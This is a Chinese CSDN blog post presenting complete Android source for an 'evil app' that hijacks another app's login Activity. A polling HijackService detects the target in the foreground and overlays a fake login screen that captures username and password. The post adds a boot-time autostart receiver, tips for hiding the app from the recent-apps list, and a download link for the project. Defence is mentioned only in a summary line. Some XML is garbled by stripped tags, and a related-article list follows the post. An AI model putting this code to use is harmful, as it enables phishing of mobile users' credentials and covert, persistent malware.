java方法劫持_Activity劫持实例与防护手段

最新推荐文章于 2022-11-13 22:20:10 发布
最新推荐文章于 2022-11-13 22:20:10 发布
阅读量202 收藏
点赞数
文章标签： java方法劫持
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39562089/article/details/114960319
版权
本文通过实例展示了如何在Android中实现方法劫持，特别是针对Activity的劫持。恶意软件创建了一个伪装成正常应用的FakeMainActivity，并通过HijackService监听并劫持目标应用的Activity。当目标应用（如NormalApp）的Activity进入前台时，恶意软件会启动伪造的Activity，获取用户输入的敏感信息。同时，介绍了开机自启动的AutoStartReceiver，以实现恶意服务的持久化。为了防范此类攻击，开发者需要加强应用的安全性，例如使用安全的启动模式和权限控制。
摘要由CSDN通过智能技术生成

首先，我们在Android Studio中新建一个工程，项目结构如下：

29170659_1427900734o9ya.png

activity_main.xml的内容：

点击(此处)折叠或打开

xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

android:layout_height="match_parent" >

android:layout_width="match_parent"

android:layout_height="wrap_content"

android:text="Normal Activity"

android:gravity="center_horizontal"

android:padding="10dp"

android:background="#ffffff"/>

android:id="@+id/Layout1"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="80dp"

android:orientation="horizontal">

android:text="UserName"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp" />

android:id="@+id/UserNameEdit"

android:layout_width="100dp"

android:layout_height="wrap_content" />

android:id="@+id/Layout2"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="50dp"

android:orientation="horizontal"

android:layout_below="@id/Layout1">

android:text="Password"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp" />

android:id="@+id/PasswordEdit"

android:layout_width="100dp"

android:layout_height="wrap_content" />

android:id="@+id/LoginButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_below="@id/Layout2"

android:layout_marginTop="5dp"

android:layout_centerHorizontal="true"

android:text="Login"/>

activity_second.xml的内容：只是一个TextView控件，显示"Second Activity"而已，就不贴代码了。

MainActivity.java的内容：

点击(此处)折叠或打开package com.example.hac.normalapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

//一个简单的界面，模拟用户输入用户名、密码，点击按钮后就跳转到SecondActivity

//只是为了演示正常的Activity而已，无实际功能

public class MainActivity extends Activity {

Button login = null;

EditText userName = null;

EditText password = null;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

login = (Button)findViewById(R.id.LoginButton);

userName = (EditText)findViewById(R.id.UserNameEdit);

password = (EditText)findViewById(R.id.PasswordEdit);

login.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

Intent intent = new Intent(MainActivity.this, SecondActivity.class);

//启动SecondActivity

startActivity(intent);

}

});

}

}

SecondActivity.java的内容：无内容，就是一个空的Activity,用于显示activity_second.xml的内容而已，不贴代码啦。

AndroidMainfest.xml的内容：就是普通的内容，不贴代码了。

接下来是我们的恶意软件，再新建一个工程，项目结构如下：

29170659_1427902767x2cL.png

activity_fakemain.xml的内容：我们伪造的Activity布局，模仿上面正常的Activity布局。

点击(此处)折叠或打开

xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

android:layout_height="match_parent" >

android:layout_width="match_parent"

android:layout_height="wrap_content"

android:text="Normal Activity"

android:gravity="center_horizontal"

android:padding="10dp"

android:background="#ffffff"

android:visibility="invisible"/>

android:id="@+id/Layout1"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="80dp"

android:orientation="horizontal">

android:text="UserName"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp"

android:visibility="invisible"/>

android:id="@+id/UserNameEdit"

android:layout_width="100dp"

android:layout_height="wrap_content"

android:visibility="invisible"/>

android:id="@+id/Layout2"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="50dp"

android:orientation="horizontal"

android:layout_below="@id/Layout1">

android:text="Password"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp"

android:visibility="invisible"/>

android:id="@+id/PasswordEdit"

android:layout_width="100dp"

android:layout_height="wrap_content"

android:visibility="invisible"/>

android:id="@+id/LoginButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_below="@id/Layout2"

android:layout_marginTop="5dp"

android:layout_centerHorizontal="true"

android:text="Login"

android:visibility="invisible"/>

activity_main.xml的内容：

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

android:orientation="vertical" android:layout_width="match_parent"

android:layout_height="match_parent">

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="Start"

android:textSize="50dp"/>

android:id="@+id/StartServiceButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="StartService"

android:padding="20dp"

android:layout_gravity="center_horizontal"/>

activity_main.xml的内容：

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

android:orientation="vertical" android:layout_width="match_parent"

android:layout_height="match_parent">

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="Start"

android:textSize="50dp"/>

android:id="@+id/StartServiceButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="StartService"

android:padding="20dp"

android:layout_gravity="center_horizontal"/>

AutoStartReceiver.java的内容：

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

//用于开机自动启动HijackService的Receiver，它能够响应“android.intent.action.BOOT_COMPLETED”

public class AutoStartReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {

Intent _intent = new Intent(context, HijackService.class);

//启动HijackService

context.startService(_intent);

}

}

}

EvilApplication.java的内容：

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Application;

import java.util.ArrayList;

import java.util.List;

public class EvilApplication extends Application{

//存放已经被劫持的程序

List hijackedList = new ArrayList();

public boolean hasProgressBeHijacked(String processName) {

return hijackedList.contains(processName);

}

public void addHijacked(String processName) {

hijackedList.add(processName);

}

public void clearHijacked() {

hijackedList.clear();

}

}

FakeMainActivity.java的内容：

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Activity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.util.Timer;

import java.util.TimerTask;

public class FakeMainActivity extends Activity {

Button login = null;

EditText userName = null;

EditText password = null;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_fakemain);

login = (Button)findViewById(R.id.LoginButton);

userName = (EditText)findViewById(R.id.UserNameEdit);

password = (EditText)findViewById(R.id.PasswordEdit);

//下面这段代码主要是为了使用户更难察觉出我们伪造的Activity

//原理是保证我们伪造的Activity已经覆盖在真实的Activity上后，再将我们的控件显示出来

//我本来是想让我们伪造的Activity直接在原位淡入的，但没有实现，郁闷

//无奈只能用这个本方法，如果大家有更好的办法，请赐教

Timer timer = new Timer();

TimerTask task = new TimerTask() {

@Override

public void run() {

runOnUiThread(new Runnable(){

@Override

public void run() {

userName.setVisibility(View.VISIBLE);

password.setVisibility(View.VISIBLE);

login.setVisibility(View.VISIBLE);

}});

}

};

timer.schedule(task, 1000);

login.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

//这里为了显示效果，将用户输入的内容显示出来，真正的恶意软件则会直接将信息发送给自己

Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();

//为了伪造的Activity弹出时不那么明显

userName.setVisibility(View.INVISIBLE);

password.setVisibility(View.INVISIBLE);

login.setVisibility(View.INVISIBLE);

finish();

}

});

}

}

HijackService.java的内容：

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.util.Log;

import java.util.HashMap;

import java.util.List;

public class HijackService extends Service {

//targetMap用于存放我们的目标程序

HashMap> targetMap = new HashMap>();

Handler handler = new Handler();

boolean isStart = false;

//我们新建一个Runnable对象，每隔200ms进行一次搜索

Runnable searchTarget = new Runnable() {

@Override

public void run() {

//得到ActivityManager

ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

//通过ActivityManager将当前正在运行的进程存入processInfo中

List processInfo = activityManager.getRunningAppProcesses();

Log.w("恶意软件", "遍历进程");

//遍历processInfo中的进程信息，看是否有我们的目标

for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {

//若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持

if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {

if (targetMap.containsKey(_processInfo.processName)) {

// 调用hijack方法进行劫持

hijack(_processInfo.processName);

} else {

Log.w("进程", _processInfo.processName);

}

}

}

handler.postDelayed(searchTarget, 200);

}

};

//进行Activity劫持的函数

private void hijack(String processName) {

//这里判断我们的目标程序是否已经被劫持过了

if (((EvilApplication) getApplication())

.hasProgressBeHijacked(processName) == false) {

Log.w("恶意软件", "开始劫持"+processName);

Intent intent = new Intent(getBaseContext(),

targetMap.get(processName));

//这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶

intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

//启动我们伪造的Activity

getApplication().startActivity(intent);

//将目标程序加入到已劫持列表中

((EvilApplication) getApplication()).addHijacked(processName);

Log.w("恶意软件", "已经劫持");

}

}

@Override

public void onStart(Intent intent, int startId) {

super.onStart(intent, startId);

if (!isStart) {

//将我们的目标加入targetMap中

//这里，key为我们的目标进程，value为我们伪造的Activity

targetMap.put("com.example.hac.normalapp",

FakeMainActivity.class);

//启动searchTarget

handler.postDelayed(searchTarget, 1000);

isStart = true;

}

}

@Override

public boolean stopService(Intent name) {

isStart = false;

Log.w("恶意软件", "停止劫持");

//清空劫持列表

((EvilApplication) getApplication()).clearHijacked();

//停止searchTarget

handler.removeCallbacks(searchTarget);

return super.stopService(name);

}

@Override

public IBinder onBind(Intent intent) {

return null;

}

}

StartServiceActivity.java的内容：

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

//用于手动启动我们的HijackService，真正的恶意软件通常不会有这样的一个Activity

public class StartServiceActivity extends Activity {

Button startButton = null;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

startButton = (Button)findViewById(R.id.StartServiceButton)；

startButton.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);

startService(intent2);

}

});

}

}

colors.xml的内容：

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

#00000000>

styles.xml的内容：

点击(此处)折叠或打开

@color/translucent_background

true

@android:style/Animation.Translucent

AndroidMainfest.xml的内容：注意HijackService和AutoStartReceiver要在这里注册，且要添加相应的权限。另外，添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现，这将提升其危险程度。

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

package="com.example.hac.evilapp" >

android:name=".EvilApplication"

android:allowBackup="true"

android:icon="@drawable/ic_launcher"

android:label="@string/app_name"

android:theme="@style/AppTheme" >

android:name=".StartServiceActivity"

android:label="@string/app_name"

android:excludeFromRecents="true">

android:name=".AutoStartReceiver"

android:enabled="true"

android:exported="true" >

项目工程下载(ChinaUnix对文件大小有限制，只能传百度网盘了)：

http://pan.baidu.com/s/1eQ8JF5w

weixin_39562089
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Android界面防劫持，Activity防劫持，无视Android系统版本限制，无需操作栈
01-20
Android Activity 防劫持，界面防劫持，无视Android系统版本限制，无需操作栈
函数劫持
weixin_30485291的博客
11-23 209
前言 前段时间接手了一个shi一样的项目，各种代码触目惊心。一个文件里，一会儿4个空格缩进，一会儿2个空格缩进；各种magic number；函数形参a,b,c…… 当然这篇也不打算吐槽，也不想说什么代码可读性的问题，只是想借这个机会谈一下维护这样的代码时候用到的一个小技巧。 函数劫持 第一次看到这个概念，是在一本web攻防的书籍上。作者提到了利用函数劫持来将一些敏感信息记录下来或者发送...
Android Dalvik模式下劫持 Java 函数
wadahana的专栏
08-03 1516
0x00. 前言         这是去年底干的事情了，研究这个的目的是为了劫持App中的所有流量并引导到squid节点。大部分的Http请求可以在编译dex时通过修改字节码，做些小手脚搞定；但是对于Webview中的视频流，以前一直没有解决，XX项目组由于是加速业务后端收费，对流量泄露并不敏感只会少收钱；而我们做定向流量业务前端收费，泄漏了会被用户投诉。         为了劫持这个这个流量
android安全-activity劫持
happyq的专栏
02-20 1769
一、activity劫持简介 DEFCON-19上公布的，原文见 https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt android运行时，会在很多activity中进行切换，它自身维护着一个activity的历史栈，用于在用户点击back时，恢复前一个activity，栈顶指向当前显示的activity。
Activity_Hijack.zip
06-03
已经打包好了直接安装就行
Activity_Hijack.apk
05-09
该工具主要用于APP劫持检测，亲测好用，非常方便。不多说了，懂的自然懂
Activity_Hijack测试工具.rar
09-16
当一个应用程序通过action来启动某个Activity时，另一个恶意应用可以创建一个同样的action来接收Activity。在Android应用中，如果存在多个Activity接收同一个action，那么就会提供一个选择列表让用户进行选择。一旦用户选错了，就进入了恶意程序的界面，当用户输入隐私信息，有可能被恶意程序将数据发送给服务器，导致用户信息泄露。
关于activity的劫持
com360的专栏
02-18 2768
android为了提高用户的用户体验，对于不同的应用程序之间的切换，基本上是无缝。他们切换的只是一个activity，让切换的到前台显示，另一个应用则被覆盖到后台，不可见。  一个运行在后台的服务可以做到如下两点：1，决定哪一个activity运行在前台  2，运行自己app的activity到前台。  这样，恶意的开发者就可以对应程序进行攻击了，对于有登陆界面的应用程序，他们可以伪造一个一模
activity劫持学习与复现
九天
04-14 4564
前言 activity劫持是指当程序运行时，恶意程序检测到前台运行的正是想要劫持的程序，于是立即启动自己的活动，伪造一个一模一样的登录界面并立马呈现给用户，普通用户无法识别这个页面的真实性，于是恶意程序就可以获取到用户输入的敏感信息并上传到自己的服务器。 activity劫持原理 1、在启动activity的时候，加入标志位FLAG_ACTIVITY_NEW_TA
activity劫持
09-17
activity劫持演示文档和apk
立即执行函数、函数劫持
最新发布
qq_60837087的博客
11-13 173
立即执行函数、函数劫持
JS8.12 方法劫持,8.5-8.12的类型面试题训练
Tr4asure的博客
08-12 167
一.方法劫持 通过call apply bind实现方法劫持(我的理解就是通过这三个代码将一个函数的调用者强行指向一个对象) 代码说话: call: var obj1={name:"jack",age:18,say:function (arg1,arg2) { console.log(arg1,arg2) console.log(this.name,this.age) }...
js中事件方法的劫持和apply的用法
logspool的博客
02-13 797
     我们在实际开发中经常遇到这种情况，如使用了第三方的插件，同时又要对插件的源码做一些修改满足自己的应用场景要求，而过了一段时间这个第三方的插件更新,升级了。我们也想升级到最新版本，那么问题来了。 (function(){ //工作 var work={ obj:"小书童在写", //写代码 coding:function(lang){ /...
android安全——Activity劫持的防范程序
记事本
05-06 2329
android安全——Activity劫持的防范程序
hijack工具
weixin_34056162的博客
12-11 495
红狼的cooldiyer写的一个嗅探工具,给予cmd下 具体的使用方法压缩包中有所有.同事压缩包提供了所有了组件 下载文件 (已下载 0 次) 点击这里下载文件: hijack.rar http://81sec.com/post/89/ 转载于:https://blog.51cto.com/obnus/453225...
java https url访问 通过公钥证书防止域名劫持
brouth的博客
06-02 3690
通过浏览器获取url对应服务器的公钥证书server.cer， 访问这个url时加载这个公钥证书，来防止域名劫持。 采用配置hosts的方式来指定域名ip，从而模拟域名劫持。 文中介绍的生成httpclient的方式也可以用来实现双向认证。此时keyPath存储的是我们自己的密钥，jks后缀证书文件，这个jks的公钥证书client.cer需要给你的请求方加入他们服务器的信任链，trust
java 实现dns劫持_JavaScript 防 http 劫持与 XSS
weixin_39629947的博客
02-16 562
原标题：JavaScript 防 http 劫持与 XSS原文作者：作为前端，一直以来都知道HTTP劫持与XSS跨站脚本(Cross-site ing)、CSRF跨站请求伪造(Cross-site request forgery)。但是一直都没有深入研究过，前些日子同事的分享会偶然提及，我也对这一块很感兴趣，便深入研究了一番。最近用 Java 写了一个组件，可以在前端层面防御部分 HTTP 劫持与...
构建安全的Java网络应用：实践与防护策略
4. **防御跨站脚本攻击(CSS)、跨站请求伪造(CSRF)和点击劫持**：详细解释了这些常见攻击手段的原理以及如何防范它们。 5. **敏感数据保护**：涵盖了存储和传输过程中对敏感信息的加密和保护措施，确保数据安全。 6...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值